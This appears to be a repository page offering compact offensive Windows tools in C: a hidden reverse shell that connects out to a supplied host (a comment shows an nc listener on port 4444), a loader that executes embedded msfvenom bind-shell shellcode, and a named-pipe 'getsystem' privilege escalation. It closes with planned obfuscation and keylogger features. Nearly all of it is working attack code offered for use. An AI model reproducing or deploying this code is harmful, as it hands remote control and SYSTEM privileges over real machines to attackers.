A compact windows reverse shell written in the C Programming Language.

compact_windows_reverse_shell.c

/*
 * code inspired and modified from defcon25,MSDocs,StackOverflow
 * i686-w64-mingw32-gcc -o win_rsh win_rsh.c -lws2_32
 */

#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32")
int main(int argc, char *argv[]){
  WSADATA wsaData;
  SOCKET sock;
  struct sockaddr_in server;
  STARTUPINFOA si = { 0 };
  PROCESS_INFORMATION pi;
  if (argc != 4){
    printf("Usage: %s ipv4  port  binary\n",argv[0]);
    // printf("\tExample 1:%s\v10.10.10.48 1234 myapp.exe\n",argv[0]);
    // printf("\tExample 2:%s\v10.10.10.1  4444 netsh\n",argv[0]); /* pops a reverse 'net shell' to 10.10.10.1 on port 4444     ((nc -nvlp 4444))  */
    return EXIT_FAILURE;
  }
  WSAStartup(MAKEWORD(1, 0), &wsaData);
  sock = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
  server.sin_family = AF_INET;
  inet_pton(AF_INET, argv[1], &server.sin_addr.s_addr);
  server.sin_port = htons(atoi(argv[2]));
  WSAConnect(sock, (const PSOCKADDR)&server, sizeof(server), NULL, NULL, NULL, NULL);
  si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
  si.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
  si.wShowWindow = SW_HIDE;
  si.cb = sizeof(si);
  CreateProcessA(NULL,                /*       [in, optional]      LPCSTR                lpApplicationName,   */
                argv[3],              /*       [in, out, optional] LPSTR                 lpCommandLine,       */
                NULL,                 /*       [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes, */
                NULL,                 /*       [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,  */
                TRUE,                 /*       [in]                BOOL                  bInheritHandles,     */
                CREATE_NEW_CONSOLE,   /*       [in]                DWORD                 dwCreationFlags,     */
                NULL,                 /*       [in, optional]      LPVOID                lpEnvironment,       */
                NULL,                 /*       [in, optional]      LPCSTR                lpCurrentDirectory,  */
                &si,                  /*       [in]                LPSTARTUPINFOA        lpStartupInfo,       */
                &pi                   /*       [out]               LPPROCESS_INFORMATION lpProcessInformation */
              );

  return EXIT_SUCCESS;
}

shellcode_addon.c

/*
 * i686-w64-mingw32-gcc -o A a.c
 * code taken and modified from
 * https://stackoverflow.com/questions/38161809/generating-shellcode-from-an-exe
 */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
int main(){
  // msfvenom -p windows/shell_bind_tcp -f c -v windows_shellbindtcp
  unsigned char windows_shellbindtcp[] = 
  "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
  "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
  "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
  "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
  "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
  "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
  "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
  "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
  "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
  "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
  "\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40"
  "\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
  "\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7"
  "\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97"
  "\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57"
  "\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c"
  "\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46"
  "\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0"
  "\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5"
  "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb"
  "\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
  
  
  DWORD why_must_this_variable;
  
  // [ Docs / Windows / Apps / Win32 / API / System Services / Memoryapi.h  /  ]
  // VirtualProtect function (memoryapi.h)
  // https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
  BOOL ret = VirtualProtect(
    windows_shellbindtcp,           /* [in]  LPVOID lpAddress, */
    strlen(windows_shellbindtcp),   /* [in]  SIZE_T dwSize, */
    PAGE_EXECUTE_READWRITE,         /* [in]  DWORD  flNewProtect, */
    &why_must_this_variable         /* [out] PDWORD lpflOldProtect */
  );
  
  if (!ret){
    printf ("VirtualProtect\n");
    return EXIT_FAILURE;
  }
  printf("strlen(windows_shellbindtcp)=%d\n", strlen(windows_shellbindtcp));
  ((void (*)(void))windows_shellbindtcp)();
  return EXIT_SUCCESS;
}

Expand: getsystem

#include <Windows.h>
#include <stdio.h>
static const char *g_szNamedPipe = "\\\\.\\pipe\\getsystemyall";
static const char *g_szServiceCreate = "sc create getsystemyall binPath= \"cmd.exe /c echo WUT > \\\\.\\pipe\\getsystemyall";
static const char *g_szServiceStart = "sc start getsystemyall";
static const char *g_szServiceDelete = "sc delete getsystemyall";
DWORD WINAPI getsystem_thread(PVOID lpUnused)
{
    PROCESS_INFORMATION pi;
    STARTUPINFO si = { 0 };
    si.cb = sizeof(si);
    char szRead[128] = { 0 };
    DWORD dwBytes = 0;
    HANDLE hToken;
    HANDLE hPipe;
    WCHAR cmd[MAX_PATH] = L"cmd.exe";
    do
    {
        // create the named pipe
        hPipe = CreateNamedPipeA(g_szNamedPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, 2, 0, 0, 0, NULL);
        if (!hPipe)
            break;
        // wait for SC to make connection to the pipe
        while (!ConnectNamedPipe(hPipe, NULL))
        {
            if (GetLastError() == ERROR_PIPE_CONNECTED)
                break;
        }
        // must read at least 1 byte from the pipe
        if (!ReadFile(hPipe, szRead, 1, &dwBytes, NULL))
            break;
        // impersonate the client
        if (!ImpersonateNamedPipeClient(hPipe))
            break;
        // get a handle to the SYSTEM token
        if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken))
            break;
        // pop a shell with the system token
        CreateProcessWithTokenW(hToken, 0, NULL, cmd, CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP, NULL, NULL, &si, &pi);
    } while (0);
    // cleanup
    if (hPipe) 
    {
        DisconnectNamedPipe(hPipe);
        CloseHandle(hPipe);
    }
    return 0;
}
int main()
{
    DWORD dwThreadId;
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)getsystem_thread, NULL, 0, &dwThreadId);
    system(g_szServiceCreate);
    system(g_szServiceStart);
    system(g_szServiceDelete);
    return 0;
}

Expand : title

• a
• b
• c

Expand : TODO

• make Input in the getsystem file
• b
• c

UPCOMING 2 UPDATES

1

• Make both reverse shells (windows and linux) act as both a server and a client. How? 2 functions.
  • client(remote_port, remote_host, remote_binary)
  • server(listen_port)

2

• Add Cryptography/Steganography/Obfuscation to both of them. Namely:
  • The tools Here - at embeddedsw.net (libObfuscate)

UPCOMING 1 (more) UPDATE

• Keylogger functionality to both shells. (Win and Linux)